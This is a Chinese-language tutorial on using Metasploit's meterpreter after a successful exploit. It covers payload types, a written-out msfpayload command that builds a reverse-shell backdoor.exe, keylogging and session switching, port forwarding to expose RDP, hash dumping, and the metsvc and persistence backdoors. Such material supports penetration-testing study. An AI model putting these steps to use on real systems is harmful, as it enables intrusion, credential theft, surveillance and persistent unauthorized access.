meterpreter作為后滲透模塊有多種類型，并且命令由核心命令和擴展庫命令組成，極大的豐富了攻擊方式。 需要說明的是meterpreter在漏洞利用成功后會發送第二階段的代碼和meterpreter服務器dll，所以在網絡不穩定的情況下經常出現沒有可執行命令，或者會話建立執行help之后發現缺少命令。 連上vpn又在內網中使用psexec和bind_tcp的時候經常會出現這種情況，別擔心結束了之后再來一次，喝杯茶就好了。
path : payload/windows/meterpreter/reverse_tcp
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.130 LPORT=8080 X > ～/Desktop/backdoor.exe
反向連接shell,使用起來很穩定。需要設置LHOST。
path : payload/windows/meterpreter/bind_tcp
正向連接shell，因為在內網跨網段時無法連接到attack的機器，所以在內網中經常會使用，不需要設置LHOST。
path:payload/windows/meterpreter/reverse_http/https
通過http/https的方式反向連接，在網速慢的情況下不穩定，在某博客上看到https如果反彈沒有收到數據，可以將監聽端口換成443試試。
常用的有
background：將當前會話放置后臺
load/use：加載模塊
Interact：切換進一個信道
migrate：遷移進程
run：執行一個已有的模塊，這里要說的是輸入run后按兩下tab，會列出所有的已有的腳本，常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等。
Resource：執行一個已有的rc腳本。
meterpreter中不僅有基本命令還有很多擴展庫，load/use之后再輸入help，就可以看到關于這個模塊的命令說明了。
stdapi中有關于文件讀寫，上傳下載，目錄切換，截屏，攝像頭，鍵盤記錄，和系統相關的命令。 常用的當然就是文件操作及網絡有關的命令。 通常我會用upload和download進行文件上傳和下載，注意在meterpreter中也可以切換目錄，當然也可以編輯文件。所以就不用運行shell再用echo寫。
使用edit命令時需要注意編輯的是一個存在的文件，edit不能新建文件。 輸入edit + 文件后就會調用vi編輯了。
網絡命令則有列出ip信息(ipconfig),展示修改路由表(route),還有端口轉發(portfwd)。 比如portfwd：
在建立規則之后就可以連接本地3344端口，這樣遠程的3389端口就轉發出來了。
這里需要注意一下windows會話窗口的概念，windows桌面劃分為不同的會話(session)，以便于與windows交互。會話0代表控制臺，1，2代表遠程桌面。所以要截獲鍵盤輸入必須在0中進行。可 以使用getdesktop查看或者截張圖試試。否則使用setdesktop切換。
如果不行就切換到explorer.exe進程中，這樣也可以監聽到遠程桌面連接進來之后的鍵盤輸入數據。
這個不多介紹，只是因為這樣抓到的hash可以存進數據庫方便之后調用，不知道有沒有什么方法可以快速的用第三方工具抓到hash/明文然后存進數據庫。
這里是因為我的用戶本身就沒有密碼。
就是不知道能不能把包保存在victim上，然后后期再下下來，待實戰考證。
這里的腳本可以是rc腳本，也可以是ruby腳本，metasploit已經有很多自定義腳本了。比如上面說過的arp_scanner,hashdump。這些腳本都是用ruby編寫，所以對于后期自定義修改來說非常方便，這里介紹一個很常見的腳本scraper，它將目標機器上的常見信息收集起來然后下載保存在本地。推薦這個腳本是因為這個過程非常不錯。可以加入自定義的命令等等。
/.msf4/logs/下保存了所有腳本需要保存的日志記錄，當然不只這一個腳本。同樣.msf4文件夾下還保存了其他東西，比如輸入過的命令，msf運行過程的日志等。 Scraper腳本將保存結果在/.msf4/logs/scripts/scraper/下。
metasploit自帶的后門有兩種方式啟動的，一種是通過服務啟動(metsvc)，一種是通過啟動項啟動(persistence) 優缺點各異:metsvc是通過服務啟動，但是服務名是meterpreter,腳本代碼見圖，
這里需要上傳三個文件，然后用metsvc.exe 安裝服務。不知道服務名能不能通過修改metsvc.exe達到。 安裝過程和回連過程都很簡單
下次回連時使用windows/metsvc_bind_tcp的payload就可以。
meterpreter提供了很多攻擊或收集信息的腳本，并且還有很多API(具體參考官方文檔)，及擴展。在對ruby代碼理解的程度上，如果能根據目標環境和現狀修改現有腳本或編寫自己的腳本則能夠極大的提高效率，獲得預期的結果。